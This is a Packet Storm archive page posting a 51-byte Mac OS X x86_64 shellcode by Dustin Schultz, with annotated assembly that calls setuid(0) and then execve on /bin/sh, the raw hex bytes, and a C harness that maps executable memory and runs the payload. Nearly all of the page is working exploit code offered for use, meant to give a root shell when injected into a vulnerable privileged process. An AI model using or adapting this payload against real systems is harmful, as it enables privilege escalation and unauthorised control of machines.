what you don't know can hurt you

OSX/Intel Setuid Shell x86_64 Shellcode

OSX/Intel Setuid Shell x86_64 Shellcode
Posted Nov 29, 2010
Authored by Dustin Schultz

51 bytes small OSX / Intel setuid shell for x86_64.

tags | shell, shellcode
systems | apple
MD5 | cd8b8d092805a74fffc58fb518ba2240

OSX/Intel Setuid Shell x86_64 Shellcode

Change Mirror Download
/*
* Title: OSX/Intel - setuid shell x86_64 - 51 bytes
* Date: 2010-11-25
* Tested on: Mac OS X 10.6.5 - Darwin Kernel Version 10.5.0
* Author: Dustin Schultz - twitter: @thexploit
*
* http://thexploit.com
*
* BITS 64
*
* section .text
* global start
*
* start:
* a:
* mov r8b, 0x02 ; Unix class system calls = 2
* shl r8, 24 ; shift left 24 to the upper order bits
* or r8, 0x17 ; setuid = 23, or with class = 0x2000017
* xor edi, edi ; zero out edi
* mov rax, r8 ; syscall number in rax
* syscall ; invoke kernel
* jmp short c ; jump to c
* b:
* pop rdi ; pop ret addr which = addr of /bin/sh
* add r8, 0x24 ; execve = 59, 0x24+r8=0x200003b
* mov rax, r8 ; syscall number in rax
* xor rdx, rdx ; zero out rdx
* push rdx ; null terminate rdi, pushed backwards
* push rdi ; push rdi = pointer to /bin/sh
* mov rsi, rsp ; pointer to null terminated /bin/sh string
* syscall ; invoke the kernel
* c:
* call b ; call b, push ret of /bin/sh
* db '/bin//sh' ; /bin/sh string
*/


#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";

int main(int argc, char **argv) {

void *ptr = mmap(0, 0x33, PROT_EXEC | PROT_WRITE | PROT_READ, MAP_ANON
| MAP_PRIVATE, -1, 0);

if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}

memcpy(ptr, shellcode, sizeof(shellcode));
sc = ptr;

sc();

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

March 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    15 Files
  • 2
    Mar 2nd
    5 Files
  • 3
    Mar 3rd
    3 Files
  • 4
    Mar 4th
    25 Files
  • 5
    Mar 5th
    20 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    12 Files
  • 9
    Mar 9th
    3 Files
  • 10
    Mar 10th
    4 Files
  • 11
    Mar 11th
    23 Files
  • 12
    Mar 12th
    12 Files
  • 13
    Mar 13th
    12 Files
  • 14
    Mar 14th
    19 Files
  • 15
    Mar 15th
    12 Files
  • 16
    Mar 16th
    3 Files
  • 17
    Mar 17th
    1 Files
  • 18
    Mar 18th
    15 Files
  • 19
    Mar 19th
    22 Files
  • 20
    Mar 20th
    14 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    8 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close